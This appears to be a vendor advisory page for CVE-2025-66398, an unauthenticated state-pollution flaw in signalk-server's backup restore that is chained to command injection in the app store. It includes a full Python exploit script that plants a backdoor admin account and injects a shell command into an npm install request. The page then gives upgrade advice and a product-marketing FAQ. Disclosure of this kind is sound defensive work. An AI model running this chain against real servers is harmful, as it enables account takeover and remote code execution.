CVE-2025-66398

CVE-2025-66398 is a critical-severity OS command injection vulnerability in signalk-server (npm), affecting versions < 2.19.0. It is fixed in 2.19.0.

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Summary

Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)

An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).

Details

The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.

Vulnerable Code Analysis:

  1. Global State: restoreFilePath is defined at the top level of the module.
    // src/serverroutes.ts
    let restoreFilePath: string
    
  2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.
    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {
      // ... handles file upload ...
      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path
    })
    
  3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration.
    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {
      // ...
      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path
      // ...
    })
    

Exploit Chain:

  1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file.
  2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.
  3. Backdoor: The attacker overwrites security.json to add a new administrator account.
  4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).

PoC

Here is a complete Python script to reproduce the full exploit chain.

import requests
import zipfile
import io
import json
import time

# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"

def step1_plant_backdoor():
    print("[*] Step 1: Planting Backdoor via State Pollution...")
    
    # 1. Create malicious zip with security.json
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w') as z:
        # Add backdoor admin user
        security_config = {
            "users": [{
                "username": BACKDOOR_USER,
                "password": BACKDOOR_PASS, 
                "permissions": "admin"
            }]
        }
        z.writestr("security.json", json.dumps(security_config))
        # Enable security to make the backdoor effective
        z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
    zip_buffer.seek(0)

    # 2. Pollute State (Unauthenticated)
    print("    [+] Sending malicious backup to /validateBackup...")
    res = requests.post(f"{TARGET_URL}/skServer/validateBackup", 
                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
    if res.status_code != 200:
        print("    [-] Failed to pollute state.")
        return False

    # 3. Trigger Restore (Hijacking)
    print("    [+] Triggering restore to overwrite server config...")
    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
    # Here we assume we can trigger it or security is currently off.
    res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
    
    if res.status_code in [200, 202]:
        print("    [+] Restore triggered successfully. Backdoor planted.")
        print("    [!] PLEASE RESTART THE SERVER to load the new configuration.")
        return True
    else:
        print(f"    [-] Restore failed: {res.status_code} {res.text}")
        return False

def step2_execute_rce():
    print("\n[*] Step 2: Executing RCE as Backdoor User...")
    
    # 1. Login
    session = requests.Session()
    login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
    res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
    
    if res.status_code != 200:
        print("    [-] Login failed. Did you restart the server?")
        return
    
    token = res.json()['token']
    print("    [+] Login successful. Authenticated as Admin.")

    # 2. RCE Payload (Windows Example)
    # Injecting command into version parameter of npm install
    # Command: echo RCE_SUCCESS > rce_proof.txt
    cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
    
    # We need a valid package name to bypass existence check
    package_name = "@signalk/freeboard-sk" 
    
    print(f"    [+] Sending RCE payload: {cmd_payload}")
    headers = {'Authorization': f'Bearer {token}'}
    try:
        session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}", 
                     headers=headers, timeout=5)
    except:
        pass # Timeout is expected as the command might hang or take time

    print("    [+] Payload sent. Check for 'rce_proof.txt' in server root.")

if __name__ == "__main__":
    # Run Step 1, then restart server manually, then Run Step 2
    # step1_plant_backdoor()
    step2_execute_rce()

Impact

Remote Code Execution (RCE), Account Takeover, Denial of Service.
Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2025-66398 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.19.0); upgrading removes the vulnerable code path.

Affected versions

signalk-server (< 2.19.0)

Security releases

signalk-server → 2.19.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade signalk-server to 2.19.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-66398? CVE-2025-66398 is a critical-severity OS command injection vulnerability in signalk-server (npm), affecting versions < 2.19.0. It is fixed in 2.19.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is CVE-2025-66398? CVE-2025-66398 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of signalk-server are affected by CVE-2025-66398? signalk-server (npm) versions < 2.19.0 is affected.
  4. Is there a fix for CVE-2025-66398? Yes. CVE-2025-66398 is fixed in 2.19.0. Upgrade to this version or later.
  5. Is CVE-2025-66398 exploitable, and should I be worried? Whether CVE-2025-66398 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-66398 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-66398? Upgrade signalk-server to 2.19.0 or later.

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